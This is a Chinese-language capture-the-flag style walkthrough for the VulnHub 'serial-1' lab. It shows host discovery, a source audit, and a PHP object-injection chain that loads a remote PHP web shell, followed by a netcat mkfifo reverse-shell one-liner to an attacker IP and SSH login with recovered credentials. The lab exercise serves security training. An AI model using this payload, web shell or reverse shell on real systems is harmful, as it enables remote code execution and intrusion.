环境搭建
漏洞环境 :https://www.vulnhub.com/entry/serial-1,349/
下载后使用Vmware打开
创建新的虚拟机:
选择客户机版本为Ubuntu 64位:
一直下一步,知道选择使用现有磁盘:
选择下载的vmdk磁盘文件:
开机,环境配置完成:
漏洞复现
探测主机存活(目标主机IP地址)
-
使用nmap探测主机存活或者使用Kali里的netdicover进行探测,我这里使用的arp 直接扫描本地主机 速度更快
nmap -PS -T4 192.168.252.0/24 //可以顺带扫描端口
arp-scan -l
访问下web
抓一下包发到重放器中看看 发现 cook 是被加密的
base64解码
解码网址:Base64 在线编码解码 | Base64 加密解密 - Base64.us
O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}}
O: 代表存储的是对象(object),如果传入的是一个数字,那它就会变成a;
4: 表示对象的名称有4个字符,User表示对象名称刚好4个字符;
2: 表示有两个值
s: 表示字符串,数字表示字符串长度
目录扫描
代码审计
下载下来三个文件
index.php:
php
<?php
include("user.class.php");
if(!isset($_COOKIE['user'])) {
setcookie("user", base64_encode(serialize(new User('sk4'))));
} else {
unserialize(base64_decode($_COOKIE['user']));
}
echo "This is a beta test for new cookie handler\n";
?>
user.class.php:
php
<?php
include("log.class.php");
class Welcome {
public function handler($val) {
echo "Hello " . $val;
}
}
class User {
private $name;
private $wel;
function __construct($name) {
$this->name = $name;
$this->wel = new Welcome();
}
function __destruct() {
//echo "bye\n";
$this->wel->handler($this->name);
}
}
?>
log.class.php:
php
<?php
class Log {
private $type_log;
function __costruct($hnd) {
$this->$type_log = $hnd;
}
public function handler($val) {
include($this->type_log);
echo "LOG: " . $val;
}
}
?>
创建一个php文件 来直接一步到位使其 反序列化 和64编码一步到位
3.php
php
<?php
class Log {
private $type_log = "http://192.168.3.222/c.txt";
}
class User {
private $name = "admin";
private $wel;
function __construct() {
$this->wel = new Log();
}
}
$obj = new User();
echo base64_encode(serialize($obj));
?>
c.txt
php
<?php system($_GET['cmd']);?>
运行 3.php 得到 反序列化 和64解码的结果
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6MjY6Imh0dHA6Ly8xOTIuMTY4LjMuMjIyL2MudHh0Ijt9fQ
木马上传
将其放到bp里 注入下木马 以get形式查了下 id 可以看到 成功上传
添加反弹shell:没有回应,但反弹shell成功。
php
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.252.134+2222+>/tmp/f
SSH远程连接
查看根目录发现存在敏感文件credentials.txt.bak 找见sk4的密码 直接去物理机SSH远程连接